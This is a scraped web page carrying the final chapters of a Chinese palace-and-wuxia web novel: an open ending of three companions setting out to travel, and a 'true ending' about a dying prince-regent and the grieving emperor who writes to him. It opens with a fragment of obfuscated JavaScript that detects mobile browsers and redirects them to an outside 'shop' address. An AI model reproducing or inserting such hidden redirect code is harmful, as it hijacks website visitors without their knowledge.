l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105193|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒来,跟着莫忘之去镇外的矮山采药,认识那些对方教他有着奇怪名字和功效的草木。 午后,莫忘之会在临河的窗边看诊写字,玉凌绝就在一旁研磨药材,或是练习燕沧溟新教的强身健体的内息法门。 傍晚,他们会沿着青石板路散步,看炊烟袅袅,听摇橹声声,在街角老婆婆的摊子上买点热乎乎的炸年糕。 没有宫规,没有权谋,没有时刻悬在头顶的利刃。 只有柴米油盐,四季三餐。 小院里的老梅开了又谢,谢了又开。玉凌绝的身量抽高了不少,虽仍清瘦,但常年习武与活动,让他褪去了深宫的苍白,肤色成了健康的麦色,眉宇间的沉郁戾气散了大半,只余下少年人略显安静的锐利。他跟着莫忘之不仅读遍了医书杂著,更将那一手银针学得颇有火候,偶尔莫忘之外出,镇上有头疼脑热的乡亲找来,他也能像模像样地看诊开方了。 燕沧溟依旧是那个坐不住的性子。栖霞镇的平静生活并未磨去她的棱角,反而让她如同归山的猛虎,更添几分从容。她成了这一带小有名气的“镖师”,不过她保的镖多是些寻常商队或是急送的信件。她收费随心,看顺眼的分文不取,看不顾眼的千金不应。偶尔,她也会消失十天半月,每次归来,总会带回天南地北的新奇玩意儿,江湖上的最新传闻,还有她爽朗依旧,仿佛能驱散一切阴霾的笑声。 莫忘之依旧是那副云淡风轻的模样,只是眉宇间那份属于太子无形的重压已彻底卸去,取而代之的是一种真正的平和与舒展。他依旧在医馆坐堂,闲暇时便教导玉凌绝,或与镇上几位老秀才品茗对弈,日子过得清贫却自在。只是偶尔在收到燕沧溟带回的只言片语,或是听到玉凌绝转述某个江湖消息时,他望向远方的目光,会流露出一丝不易察觉的,对更广阔天地的思量。 然而,江湖的风,终究还是会吹到这僻静的水乡。 一日,燕沧溟从邻镇回来,带回来一个消息。镇上茶馆来了个说书先生,讲的是京城旧闻,绘声绘色地说着前朝太子与一位冷宫皇子如何在一场大火中殒命,朝局如何因此动荡,新帝如何登基,言语间满是唏嘘与揣测。 玉凌绝正在院中晾晒草药,闻言动作一顿,下意识地看向屋内正在看书的莫忘之。 莫忘之翻书的指尖滞了瞬,随即恢复如常,连眼皮都未抬,只淡淡道:“旧事如烟,听听便罢。” 燕沧溟凑过来,压低声音,眼中却闪着光:“听说新帝登基后,倒是励精图治,贬斥了好些贪官,连国师那老神棍的余党都被清算了不少。”她顿了顿,看向莫忘之,“你说,咱们那场火,是不是也算……歪打正着,做了件好事?” 莫忘之放下书卷,望着院外潺潺的流水,目光悠远:“是非功过,留与后人说。与我们,已无干系了。” 话虽如此,那夜之后,小院的气氛还是有了些微妙的改变。一种“此处虽好,非久留之地”的预感,如同水底的暗流,在三人心中悄然涌动。 又过了些时日,当第一缕秋风带来凉意时,莫忘之在饭桌上平静地开口:“江南虽好,四季温吞。听说蜀中的秋色,层林尽染,壮丽非凡。岭南的冬日,温暖如春,花果不绝。” 燕沧溟眼睛一亮,立刻接话:“是啊是啊!老是待在一个地方多没劲!咱们也该出去走走了!阿绝,你想不想去看雪山?还是想去尝尝海边的美食?” 玉凌绝抬起头,看了看莫忘之平静无波却隐含询问的脸,又看了看燕沧溟满是期待的眼眸。他沉默了片刻,放下碗筷,起身走进屋里。片刻后,他拿着三样东西走了出来——是他当初从宫里带出来的木雕小燕子和游记,还有那只依旧憨傻的布老虎。 他将木雕小燕子递给燕沧溟,将游记递给莫忘之,自己则紧紧抱着那只布老虎。 “去哪里都好。”他的声音依旧不高,却带着一种前所未有的坚定,“我跟着你们。” 莫忘之看着手中那本残旧的游记,轻轻摩挲了一下那粗糙的封面。“读万卷书,不如行万里路。”他又看向窗外流云,“这山河壮阔,我们或许,也该去看看了。” 燕沧溟更是哈哈大笑,珍重地将那只木雕小燕子揣进怀里:“好!那咱们就走着瞧!先去蜀中看红叶,再去岭南吃荔枝!把这大好的河山,都逛它一遍!” 决定既下,便不再迟疑。几日后的一个清晨,天光未亮,薄雾未散。 小院的门被轻轻掩上,未曾上锁,仿佛主人只是出门远游,终有归期。 没有过多的行李,如同他们当初离开皇宫时一样。莫忘之将小院托付给一位信得过的老邻居照看,只带走了几卷最珍爱的医书和那盏朴素的油灯。玉凌绝仔细地将那只陪伴他许久的布老虎包好,放入行囊。燕沧溟则早已利落地检查好了马匹(他们此次决定陆路北上,看看不同的风景)和随身的兵器。 莫忘之半旧青衫,背着一个简单的药箱;燕沧溟利落劲装,腰间挂着她的短刀;玉凌绝跟在他们身后,背着小小的行囊。 离开那日,晨曦微露。三人站在小院门口,最后回望了一眼这处给了他们数年安宁的栖身之所。青瓦白墙笼罩在薄雾中,静谧而温馨。 “会回来吗?”玉凌绝轻声问。 莫忘之抬手,轻轻拂去他肩头一片并不存在的落叶,动作依旧如当年那般自然:“心之所安,处处是家。若倦了,便回来。” 燕沧溟爽快地翻身上马,马尾在晨风中划出利落的弧线:“走吧!前路还长着呢!” 马蹄声脆,踏碎了清晨的宁静。三人两骑,缓缓离开了栖霞镇,将那片温柔的江南水乡留在了身后。 他们的身影渐行渐远,融入官道之上渐多的人流车马之中。 此去,或许是西北大漠的风沙,或许是东海之滨的浪涛,或许是南疆密林的瘴气,或许是北国雪原的苍茫。或许他们会在某个风景绝佳处再次停留,开一间小小的医馆或武馆;或许他们会一直行走,看尽春花秋月,夏雨冬雪;或许会遇到新的朋友,新的挑战,新的故事…… 前路未知,却不再令人恐惧。 因为他们不再是孤身一人。万里江山,江湖浩渺,世间百态等待他们去亲历,去见证。 山水有相逢,此心无羁绊。 宫阙已成前尘,江湖就在脚下。 一盏灯,三个人,一场人间烟火,一段属于他们的,悠长而自由的江湖传说,正随着这流淌的江水,绵延向未知却充满希望的远方。 而他们也将随风而行,自在东西,永无终章。 (开放式结局) 40. 【真结局】 君埋泉下泥销骨,我寄人间雪满头。 ——唐·白居易《梦微之》 两颗权臣的头颅滚落在地,殿内死寂一片,唯有殿外渐息的喊杀声和边军士兵粗重的喘息声传来。所有目光,都聚焦在殿门口那两道身影之上——一个是刚刚手刃仇敌,浑身煞气的冷宫弃子,一个是布局一切却超然物外的太子。 初升的朝阳将光芒泼洒在玉凌绝染血的年轻面容上,也照亮了莫忘之平静无波的侧脸。 玉凌绝站在血泊中央,胸膛剧烈起伏,染血的长剑仍在嗡鸣。他死死盯着殿门口那道逆光的身影,看着他素白的衣袂在晨风中微动,纤尘不染的模样与殿内的狼藉形成刺目对比。 莫忘之静默地迎上他的目光,片刻后,轻轻叹了口气。 这一声叹息极轻,却让玉凌绝的心脏骤然收紧。 只见莫忘之缓步走向殿内,拿起那方沾染了血点的传国玉玺。他低头,用衣袖仔细擦拭着玺上的污迹,动作专注而从容,仿佛在完成一场神圣的仪式。 整座大殿鸦雀无声,连殿外渐息的喊杀声都仿佛远去。所有人的目光都凝聚在他身上,凝聚在那方被拭去污秽,重现光泽的玉玺上。 当最后一抹血色被拭净,莫忘之转身走向众人。他的目光平静地扫过燕沧溟,陈闯,以及所有浴血奋战的将士,最终走到玉凌绝面前。 “…陛下,”他双手托起玉玺,微微躬身,声音清朗如玉石相击,“逆臣已诛,宫闱已肃。” 玉凌绝的瞳孔猛地收缩,几乎要上前一步,却被莫忘之接下来的话定在原地: “然国本初定,百废待兴。臣,莫忘之,请旨留任东宫,辅佐新君,安定江山。” 话音落下,满殿哗然。 留任东宫?辅佐新君?这岂不是以太子之身行摄政之实?他为何不登帝位?他究竟图什么? 燕沧溟在最初的错愕后,目光在莫忘之平静的侧脸和玉凌绝灼热的视线间流转,忽然明白了什么。她率先抱拳,朗声道:“末将附议!” 这一声如石破天惊,陈闯等边军将领纷纷跪倒:“臣等附议!请太子殿下辅佐新君!” 声浪在殿宇间回荡。 玉凌绝怔怔地看着眼前躬身托玺的莫忘之,看着他被朝阳勾勒出光晕的轮廓,巨大的狂喜如潮水般冲击着他的四肢百骸。他踉跄上前,几乎是抢夺般接过那方沉重的玉玺,指尖因激动而剧烈颤抖。 “准奏!”他紧紧抱着玉玺,目光却一秒都不曾从莫忘之身上移开,声音哽咽却带着不容置疑的强势,“师兄…皇兄……你留下!你必须留下。” 此刻的他哪里还有半分方才手刃权臣的冷酷,分明还是个怕被抛弃的孩子。 莫忘之直起身,看着眼前情绪失控的新帝,眼中掠过一丝无奈。他微微颔首,依旧是那副云淡风轻的模样:“臣,领旨。” 说罢,他转向殿外跪伏的众人,声音恢复了往日的从容: “众卿平身。陛下新立,当以稳定朝局,安抚黎庶为要。燕将军。” “末将在!” “即刻率部肃清宫禁,稳定京城秩序。” “陈闯。” “卑职在!” “带人清理殿宇,迎奉先帝灵柩,准备国丧事宜。” “其余各部官员,各归其位,安抚属僚,等待陛下召见。” 一道道指令清晰明确,从容不迫,瞬间将混乱的场面纳入了有序的轨道。众人仿佛找到了主心骨,纷纷领命而去。 待殿内重归寂静,莫忘之这才看向依旧僵立原地的玉凌绝。他的目光掠过新帝手中那方染血的玉玺,缓声道: “陛下,该更衣了。” “登基大典,即将开始。” 玉凌绝缓缓抬头,看着眼前这个已然切换至辅政亲王角色的人。阳光透过殿门,照亮了那人沉静的侧脸,那里没有了决绝的疏离,只剩下一种令人心安坚实的力量。 新朝初立,百废待兴。 玉凌绝登基后的第一道旨意,便是尊莫忘之为“靖王”,加封“太子太傅”,允其仍居东宫,总领朝政。这道旨意在朝野间掀起了不小的波澜,但凭借着燕沧溟掌控的边军威慑,以及莫忘之在清理旧势力时展现出的雷霆手段,反对的声音被迅速压下。 日子仿佛回到了从前,却又截然不同。 他们依旧在夜里相见,地点从冷宫的废弃宫苑换到了东宫书房。只是案几上摆放的不再是启蒙书籍,而是堆积如山的奏章。玉凌绝穿着沉重的龙袍,坐在主位学习治国之道。而莫忘之坐在下首,一身素雅常服,在烛光下细心地批阅奏章。 只是那烛光映照下的脸色,总是过于苍白。不过数月,新朝的繁重政务就在这具本就病弱的身体上刻下了更深的痕迹。 “此处......”莫忘之刚开口,便是一阵压抑的低咳。他以袖掩唇,肩头轻颤,好一会儿才缓过气来,声音带着几分沙哑:“陛下还需斟酌。” 玉凌绝下意识攥紧了拳,目光紧紧锁在莫忘之身上。那袭素色常服衬得他愈发清瘦,仿佛一阵风就能吹倒。 “师兄......”他声音发紧,“不如明日再议?” 莫忘之抬眸看他一眼,唇角牵起惯常的弧度,眼下的泪痣在烛光中显得格外清晰:“无妨。新朝初立,耽搁不得。” 他继续讲解,声音平稳如常,只是偶尔会停下来,端起温热的药茶轻抿一口。那苦涩的药香在书房中弥漫,与墨香交织在一起,成了玉凌绝记忆中最熟悉的味道。 玉凌绝贪婪地汲取着他给予的一切,不管是知识权力还是这来之不易的陪伴。他努力学习,拼命处理政务,会在批阅奏章疲惫时,下意识地看向莫忘之安静的侧影。 但每当夜深人静,莫忘之起身告退时,那微微踉跄的步伐总会让玉凌绝的心揪紧。 不知从何时起,一种微妙的变化开始悄然滋生。 莫忘之批注的奏章旁,开始出现他亲手整理的《朝臣关系谱系》。字迹依旧清峻,只是笔画间偶尔会露出一丝虚浮。 “师兄何必亲自操劳这些琐事?”玉凌绝忍不住问。 莫忘之正靠在软榻上小憩,闻声睁眼,眼底带着挥之不去的倦意:“陛下日后亲政,总需有些真正得力的干臣。”他顿了顿,掩唇轻咳两声,“臣......只是想多为陛下分忧。” 他的解释合情合理,玉凌绝的目光不由自主地追随着他。看着他消瘦的手指握着朱笔时细微的颤抖,看着他说话间总要停顿喘息,看着他即使在温暖的春夜里也总是裹着厚厚的狐裘。 这份日渐衰弱的迹象,像一根细密的针,时时刺痛着玉凌绝的心。 他开始刻意减少送去东宫的奏章,却在第二天就被莫忘之亲自抱了回来。 “陛下不可因私废公。”莫忘之的声音很轻,却带着不容置疑的坚持。他将奏章整齐地放回案几,指尖因用力而泛白,“这些…还看得动。” 直到那一天,莫忘之向他要走了那几卷被视为禁忌的前朝秘术卷宗。 他亲自将卷宗送去,看着莫忘之在灯下翻阅那些布满尘埃的竹简与帛书,神情专注而平静,忍不住问道:“师兄对这些感兴趣?” 莫忘之从卷宗中抬起头,烛光在脸上跳跃,映得他眸子愈发深邃。他淡淡一笑,避重就轻:“活得久些,总想知道些故纸堆里的旧事,算是……打发辰光。” 他的语气太过寻常,仿佛真的只是闲来无事的消遣。 可玉凌绝看着他那在烛光下几乎有些透明的苍白侧脸,看着他指尖摩挲过那些记载着“长生”“续命”“逆天改运”等诡异字眼的古老文字,只觉得一股寒意从脚底直窜头顶。 从那天起,玉凌绝变得更加敏感。他注意到师兄停留在他身上的目光,似乎比以前更长,也更沉。他注意到师兄偶尔会在他专注于政务时,停下笔,静静地看他片刻,那眼神复杂难辨,仿佛要将他此刻的模样,深深烙进脑海里。 曾经的满足感被一种隐约的不安取代。他依然贪婪地汲取着莫忘之给予的一切,却开始害怕这倾囊相授的背后,是否藏着别的意味。 莫忘之居住的“静思堂”内,开始常年萦绕着一股淡淡的药香,并非治病,而是调理。他依旧从容淡然,批阅文书、与玉凌绝对弈,指点燕沧溟军务时思路清晰如昔。但他的脸色似乎总比常人更苍白几分,畏寒的时节也来得更早,去得更晚。 一次燕沧溟回京述职,风尘仆仆直入静思堂,正看见莫忘之裹着厚厚的狐裘烹茶。动作依旧优雅,指尖却透着一种不健康的青白。 “你这身子骨,怎么比京城那些娇滴滴的大小姐还弱了?”燕沧溟大大咧咧地坐下,抢过一杯热茶灌下,眉头却几不可察地蹙起,“边关苦寒也没见你这般。” 莫忘之捧着温热的茶杯,氤氲的热气模糊了他清隽的眉眼。他笑了笑,语气轻松得像在讨论天气:“或许是前些年殚精竭虑,亏空得狠了,总要慢慢将养。” 玉凌绝正从廊下走来,听到这句话,脚步几不可察地一顿。他比燕沧溟更早、更清晰地感知到对方的变化。那些深夜偶尔压抑的轻咳,那些不经意间流露出的疲惫,以及太医署院正每次为他请脉后,那欲言又止最终只能开出些温补方子的无奈神情…… 他什么都没问。只是静思堂的银丝炭供得比皇帝的乾元殿还足,各地的珍稀药材如流水般送入,他甚至暗中下令广招天下名医方士,寻求延年益寿之法。他像一个固执的孩童,试图用他所能想到的一切方法,对抗那无形中正在流逝的沙漏。 然而,有些事并非人力可及,身体的衰败终究瞒不过人。 一个夏夜,暴雨倾盆。玉凌绝正在批阅奏章,忽见莫忘之的内侍慌慌张张地跑来:“陛下,殿下……殿下咳血了!” 玉凌绝手中的朱笔猛地跌落,在奏章上晕开一团刺目的红。他几乎是踉跄着冲进东宫,只见莫忘之靠在榻上,面色白得吓人,唇边还残留着一丝未擦净的血迹。太医正在一旁配药,满室都是苦涩的药香。 “不过是旧疾复发,陛下不必担心。”莫忘之勉强笑了笑,声音虚弱得几乎听不清。 那一刻,玉凌绝看着莫忘之过于清透平静的眼睛,心脏像是被什么东西猛地攥了一下。所有的疑虑不安与恐慌,在这一刻终于找到了出口,汇聚成一个让他浑身发冷的猜想。 这种令人恐惧的焦灼,终于在某个深夜达到了顶峰。 他鬼使神差地避开所有宫人,再次来到静思堂外。殿内灯火通明,却静得可怕。他透过窗棂的缝隙,看到莫忘之并未安寝,而是坐在榻上,正对着那盏他们初遇时便存在的琉璃宫灯,极其专注地......擦拭着灯罩上根本看不见的尘埃。 他的动作很慢,指尖抚过每一片云鹤纹路,眼神是一种玉凌绝从未见过的近乎温柔的眷恋,与......诀别。 那一刻,玉凌绝浑身的血液仿佛瞬间冻结。 所有被强行压下的恐慌所有自欺欺人的伪装都在这一刻土崩瓦解。他猛地推开门,带着一身夜间的寒气,踉跄着闯入那片过于温暖也过于寂静的空间。 “你到底在做什么?!”他的目光死死钉在莫忘之手中那盏宫灯上,声音因恐惧而沙哑,“……还有这盏灯!师兄,你告诉我,你到底……还有多少时间?” 莫忘之擦拭的动作顿住,宫灯暖黄的光晕在他苍白的脸上跳跃,映得他右眼睑下那颗泪痣格外清晰。他缓缓抬起头,看向眼前的年轻帝王,脸上并无多少意外,只有一种深重得几乎要将人溺毙的疲惫,仿佛早已料到此劫。 他没有立刻回答那个关于时间的问题,只是将宫灯轻轻放在一旁的案上,发出细微而决绝的“咔哒”一声。他站起身,走到玉凌绝面前,如同多年前那个雪夜一般,下意识地伸出手,想拂去他肩头并不存在的风雪与惊惶。然而,指尖在即将触及那冰冷龙纹的前一瞬,几不可察地蜷缩了一下,最终只是无力地垂落回素色袖中。 “凌绝,”他开口,声音轻得像雪落,“你看这殿外的雪,下得再久,也终有停歇的一日。万物皆有定数。” 玉凌绝猛地抓住他垂落的手腕,力道大得几乎要捏碎那纤细的骨头,像是要抓住一缕即将消散的魂:“我不要听这些话!我要你告诉我,还有多久?一年?半年?还是……就在明日?!”最后几个字,他几乎是嘶吼出来,带着濒死的绝望。 莫忘之任由他抓着,腕骨传来清晰的痛感,他却连眉都未曾蹙一下。他平静地,甚至可以说是温和地,迎上玉凌绝那双被泪水与疯狂灼烧的眸子。 “不到三年。” 轻飘飘的四个字,却像一把冰冷的匕首,精准地刺入对方最脆弱的脏腑。他踉跄一下,攥着对方手腕的指节因为过度用力而泛出青白,声音里带着他自己都未曾察觉的哀鸣:“……三年……你连三十都活不过?” “我活不过三十。”莫忘之吐字清晰,没有任何迂回,“此非伤病,而是命理。是……很早就写定的结局。” “……凭什么?”他从齿缝里挤出声音,带着血淋淋的不甘,“在我终于……终于能留下你之后……” “就凭这是代价。”莫忘之的目光掠过他剧烈颤抖的肩膀,投向窗外仿佛永无止境的落雪,眼神悠远空茫,仿佛在凝视着某种凡人无法窥见的法则。“因果循环,报应不爽。得到一些,总要以另一些来抵偿。很公平。” 他顿了顿,终于将目光转回,深深看入玉凌绝眼中:“我留下,不是贪生,更非恋栈权位。只是想……陪你们,走完我能走的路。” 他的声音依旧平静,却像最后一片雪花,轻轻落在玉凌绝已然冰封的心湖上。 “但路,总有尽头。” “所以,别再把精力浪费在虚无缥缈的延命之术上了。好好做你的皇帝,守护这你亲手夺来的江山。好好待沧溟,她是你最坚实的后盾。也……好好待自己。” 这番话语如同最后的嘱托,彻底击碎了玉凌绝最后的侥幸。 年轻的帝王仿佛瞬间被抽走了所有力气。他看着眼前人平静得近乎残忍的脸,巨大的悲痛与无力感如同冰水般将他淹没。他终于明白莫忘之留下,不是为了共享这万里江山,而是为了在有限的时日里,完成一场漫长的告别。 殿内烛火噼啪,映着相顾无言的两人。 玉凌绝猛地向前一步,紧紧抱住莫忘之,将脸埋在他的肩头,仿佛这样就能从这唯一的依靠身上汲取对抗命运的力量。莫忘之的手很轻,落在他脊背的重量却如有千钧,那微弱的暖意像最后一道堤坝,拦住了他即将决堤的崩溃。 那一夜,玉凌绝没有再说一句话。 他只是这样抱着,直到东方既白。 天光微亮时,玉凌绝终于动了动僵硬的脖颈。他抬起头,眼底的血丝未退,但某种混乱破碎的东西,正被强行按压下去,凝固成一种近乎残忍的清醒。 他沉默地站起身,细致地为莫忘之掖好被角,动作郑重得如同完成一场仪式。随后转身走向殿外,步履沉稳。 “陛下。”莫忘之的声音从身后传来。 玉凌绝脚步微顿。 “今日还需商议河西春旱的赈灾章程。” “……朕知道。” 他的声音沙哑却平稳。说完便迈入黎明前的寒气中,背脊挺得笔直,将那方温暖的静思堂留在身后。 自那夜起,他们形成了一种心照不宣的默契。 玉凌绝依旧每日过问莫忘之的饮食起居,亲自尝药,却绝口不提“延寿”二字。他将更多精力投入到朝政中,处理政务时不再下意识寻求确切的答案,而是尝试提出自己的构想。 “朕以为,可动用常平仓,令河西周边州府以工代赈,疏浚河道。此举既可解饥荒,亦能为春耕蓄水……师兄以为如何?” 他的问题,从“该怎么办”变成了“这么办可好”。 甚至在一次对弈中,他落下一子截断对方大龙的后路,语气平静地提起:“燕师姐前日来信,北狄似有异动。朕已令她加强戒备,并让户部提前筹措三月粮草。此事,未及与师兄商议。” 莫忘之执棋的手悬在半空,抬眸看向他。眼前的青年帝王眉宇间虽仍有阴郁,但那份属于统治者的决断正破开躯壳,艰难生长。 他看清了这转变之下深可见骨的痛苦——他的阿绝,正在用近乎自虐的方式逼迫自己成长,只为了让他放心。 莫忘之垂下眼睫,将白子轻轻放回棋盒,推枰认负。 “陛下……圣明独断。” 这一声“陛下”,叫得比以往任何一次都更郑重,也更苍凉。 玉凌绝放在膝上的手猝然攥紧,面上却不动声色: “是师兄教得好。” 燕沧溟也知道了真相。她没有哭闹质问,只是在一次独处时红着眼灌了半坛烈酒,哑着嗓子说:“下辈子,早点来找我们。师姐……罩着你一辈子。” 莫忘之笑着接过酒坛,被辣得蹙眉却应道:“好。” 这不是成长,而是一场在绝望中提前到来的漫长的葬礼。 窗外的雪依旧在下,静思堂内的药香一日浓过一日,早已浓得化不开,如同浸透了每一根梁木。只是那无声的陪伴里,少了绝望的挣扎,多了心照不宣的珍惜。 莫忘之的身体如同深秋的残荷,在岁月的侵蚀与旧疾的蚕食下,无可挽回地走向凋零。他的畏寒愈发严重,即便在初夏室内也需燃着炭盆,身上裹着厚厚的裘毯。曾经平静的侧脸苍白无比,唯有那两颗浅痣依旧清晰,像是烙印在生命最后的印记。 他的精力也大不如前。批阅文书的时间越来越短,与玉凌绝对弈时,常常不过中盘便显疲态,需要倚着软枕小憩。那双曾执棋布局,抚过他发顶的手,如今连端起药碗都会微微发颤。 玉凌绝将这一切看在眼里,痛在心上,却不再流露出最初的恐慌与绝望。他只是将更多的政务带回静思堂处理,只是安静地坐在那里,有时抱着一摞奏章,在窗边小几旁批阅;有时则什么都不做,静静看着对方。他的沉默里褪去了帝王的焦躁,沉淀出一种近乎哀伤的平静,仿佛要将眼前人的一呼一吸都镌刻进记忆深处。 而莫忘之也默契地接纳了这份陪伴。一切似乎如常,却又截然不同。过去是心照不宣的隐瞒,如今是心知肚明的共谋,共同面对这段注定走向终点的时光。 燕沧溟回京的次数也明显增多。她不再总是咋咋呼呼地闯进来,而是会放轻脚步,有时只是沉默地坐在一旁,擦拭着她的佩剑,或是带来一些边关的趣闻,用她特有粗粝却鲜活的方式,试图驱散这殿内过于沉重的暮气。 她会抢过宫人手中的药碗,亲自试温,再小心翼翼地喂给莫忘之。她会在他因病痛蹙眉时,用带着薄茧的指腹,笨拙却轻柔地按揉他的太阳穴,他们三人之间,形成了一种围绕着病榻的平衡。没有撕心裂肺的哭诉,没有徒劳的挽留,只有一种深入骨髓又心照不宣的珍惜。 窗外的老梅开了又谢,谢了又开。直到第三个年头的暮春,莫忘之终于连坐起身都变得极其困难。 燕沧溟便是在这时从边关昼夜兼程赶回,一身风尘,盔甲未卸便冲了进来。看到榻上之人,这位在千军万马前都不曾变色的女将军,脚步猛地一个踉跄,扶住门框才稳住身形。她张了张嘴,喉咙却像是被什么堵住,最终只是红着眼圈,沉默地走到榻边另一侧坐下,拳头攥得死紧。 殿内弥漫着浓郁的药味和一种令人窒息的沉寂。 莫忘之的意识时昏时清。当他再次睁开眼,看到榻边守着的两人时,灰败的脸上竟缓缓漾开一个淡淡却无比真实的笑容。那笑容里没有了往日的疏离与淡然,只剩下一种尘埃落定后的平和,与深深的不舍。 这一日,暮春的阳光暖得有些烫人,透过雕花窗棂,在榻前投下斑驳的光影。莫忘之的精神似乎回光返照般好了些,竟能稍稍坐起,靠在厚厚的软枕上。他示意玉凌绝屏退了左右,殿内只余他们三人。 “都来了……”他的声音微弱得像秋风中的蛛丝。 玉凌绝立刻俯身,声音带着无法抑制的颤抖:“我在……师姐也回来了。” 莫忘之的目光缓缓移向燕沧溟,看到她通红的眼眶和紧抿的嘴唇,笑意深了些许,带着一丝调侃:“师姐……还是这般……沉不住气。” 燕沧溟的泪水瞬间决堤,她猛地别过头,用带着浓重鼻音的声音低吼:“闭嘴!省点力气!” 莫忘之轻轻笑了笑,喘息片刻,目光重新变得郑重,他看着燕沧溟:“你性子刚烈,易折……遇事,多思量三分。朝中……并非尽是敌人,亦有可倚重之辈。莫要……凡事都靠自己硬扛。” 这话语,如同长辈叮嘱远行的孩子。燕沧溟的拳头攥得骨节发白,重重点头:“知道了!啰嗦!你……你安心便是!” 说罢,燕沧溟的泪水终于忍不住,大颗砸落,她猛地转过头,肩头微微耸动,留给榻上一个倔强又破碎的背影。 莫忘之看着她,默默点了点头,最终落回一直死死攥着他被角,仿佛一松手他就会消失的玉凌绝身上。 那个他从雪夜里捡回来的孩子,如今已是可以独当一面的帝王。他伸出手,指尖冰凉而颤抖。玉凌绝立刻紧紧握住,将那冰冷的手掌贴在自己脸颊,仿佛想用体温去暖热那即将消散的生命力。 “凌绝……”他唤他,声音轻得几乎要听不见。 玉凌绝身体猛地一颤,攥紧了他冰凉的手。他对上那双依旧平静的眸子。那里面没有对死亡的恐惧,只有一种深沉的近乎慈悲的了然,仿佛早已将这一切看过了千遍万遍。 “这江山……”莫忘之看着他,一字一句,说得极其缓慢,却字字清晰地敲在玉凌绝心上,“你坐得很好。比我想象的……更好。” 这是最高的肯定,却也是诀别的序曲。玉凌绝的嘴唇剧烈颤抖起来,他想说什么,喉咙却被巨大的悲痛死死扼住。 “凌绝,”莫忘之的声音依旧很轻,却带着一种抚慰人心的力量,“你还记得……我给你名字的那天吗?” 玉凌绝的泪水瞬间汹涌而出。他怎么会不记得?冷宫泥地,月光清冷,那人用一个“忘”字,覆盖了他的“凌虐”与“绝境”,告诉他那是“忘记凌虐与绝境”。 “那时我说……‘忘’字,是让你忘记那些不堪。”莫忘之的眼中泛起笑意,那笑意穿越了时光,带着无尽的怀念,“现在……该轮到你自己了。” 他枯瘦的手指在玉凌绝掌心微微一动,玉凌绝立刻更紧地握住,仿佛这样就能留住那正在飞速流逝的温度。 “有些事,有些人,忘了也好。”莫忘之的目光深邃,仿佛要将他此刻的模样刻入永恒,“…忘了,才能走得远。你的天地,不该只困于这一隅偏殿,一个人的生死。你的江山,你的子民,燕师姐……还有你自己,都值得你……更广阔地活着。” 玉凌绝拼命摇头,泪水砸在两人交握的手上,滚烫。 “看着我,凌绝。”莫忘之的声音带着最后不容置疑的请求,那目光平静却沉重如山,“答应我。” 玉凌绝看着那双渐渐失去焦距,却依旧努力凝望着他的眼睛,终于,从灵魂深处挤出一个破碎的音节: “……好。” 得到这个承诺,莫忘之唇边那点笑意终于安然落下。他目光渐渐涣散,像是望穿了他们,望向了某个遥远的地方。他用几乎听不见的气音,喃喃低语,那话语却如同最后的叹息,清晰地落入了玉凌绝的耳中: “那个时候……”他的声音轻得几乎听不见,却清晰地落入玉凌绝耳中,“你咬得……真疼啊……” 那语气里带着久远记忆里的无奈,还有一丝纵容,如同在回忆一件久远而有趣的往事。 “下回……轻些……” 话音袅袅,悄然散在温暖的春风里。 他靠在软枕上,双眼轻轻阖拢,神情安详得如同沉睡。 燕沧溟猛地站起身,背对着床榻,肩膀剧烈地耸动,却发不出一点声音。 玉凌绝没有动。 他依旧保持着俯身的姿势,紧紧握着那只已然冰冷的手,将额头深深抵在两人交握的手上,仿佛连呼吸都一同停滞。只有那枚紧贴在他心口的白玉平安锁,随着他的胸膛微微颤动。 殿外暮春的风掠过庭树,卷起无数飞花,发出沙沙的轻响,喧嚣而又死寂,带来了整个盛大的,与他无关的人间。 莫忘之去后,史书工笔,皆为盛世华章。肃帝玉凌绝,励精图治,文治武功,堪称一代明主。他平定四方,革新吏治,国库充盈,万民称颂。龙椅之上的帝王,威仪日重。 而潜思殿内一切陈设,皆按生前的习惯维持原样。每日有宫人细心打扫,却无人敢擅动书案上那未合拢的《南华经》,或是棋枰上那局永远停留在中盘的残局。 里面没有奏章,没有舆图,只有一排排顶天立地的书架,上面整整齐齐码放着的,不是典籍,而是成千上万封……信。 他开始写信。 用的是最普通的桑皮纸,磨的是最寻常的松烟墨。 起初,他写得极其艰难,笔锋滞涩,字句破碎,常常对着空白的纸笺,一坐便是整夜,直到烛泪堆满烛台,也写不出一个完整的句子。 后来,他渐渐找到了方式。不再试图倾诉那蚀骨的思念,只是如同旧日闲聊般,记录下朝堂的琐事,边境的军报。 “师兄,今岁春来甚早,御花园的花开了,与你去那年一般无二。燕师姐前日回京,又骂我案牍劳形,不知休息,抢了我的奏折,逼我去演武场看她新练的骑兵阵。阵势尚可,只是喧嚣太过。” “师兄,西境大旱,赈灾之事千头万绪,想起你曾说‘民为邦本,本固邦宁’,不敢有丝毫懈怠。” “师兄,燕师姐上月又揍了礼部那两个老古板,因他们阻挠女子入学堂之议。朕……我佯装训斥于她,实则暗中助她成了此事。你若在,会怎么说?” “师兄,昨夜梦见你于月下教我写字,笔画犹在,人已杳然。醒时方知大梦一场。” “师兄,燕师姐在北境打了一场胜仗,捷报传来,满朝皆贺。她人在边关,却托心腹捎来一坛烈酒,说是你从前赞过的那种。可惜……无人再能与她月下对饮了。” “师兄,我今日处置了当年参与构陷母妃的最后一个家族。大仇得报,心中却并无快意,只觉空茫。你说……这是为何?” “师兄,淮南水患已平,流民得以安置。所用之策,乃昔年你于冷宫舆图上所指旧法,稍加变通,果有奇效。” “师兄,北境传来捷报,燕师姐又打胜仗了,只是肩上添了新伤。我赐下宫中最好的金疮药,她回信骂我婆妈,字迹依旧张牙舞爪。” “师兄,今日看了你曾批注的《通鉴》,方知你当年那句‘水至清则无鱼’的深意。是我当年……太固执。” “师兄,这么多年过去,漕运总算彻底通了,和你当年的图纸分毫不差,万民称颂。我记得你曾言,运河乃国脉,通则百业兴……只是,没有你在身边看着,我总怕做得不够好,怕这江山,负了你当年……” “师兄,今岁科举取中了一位寒门学子,策论观点颇有你几分神韵。我破格擢升了他。” “师兄,今日朝堂,那几个老匹夫迂腐不堪,又攻讦燕师姐,朕将他们罢黜流放。你若在,定又会说我操之过急。” 那些信的墨迹色泽各异,字迹也从青年时的锋芒毕露,渐至中年的沉稳内敛,再到晚年的略带颤抖。 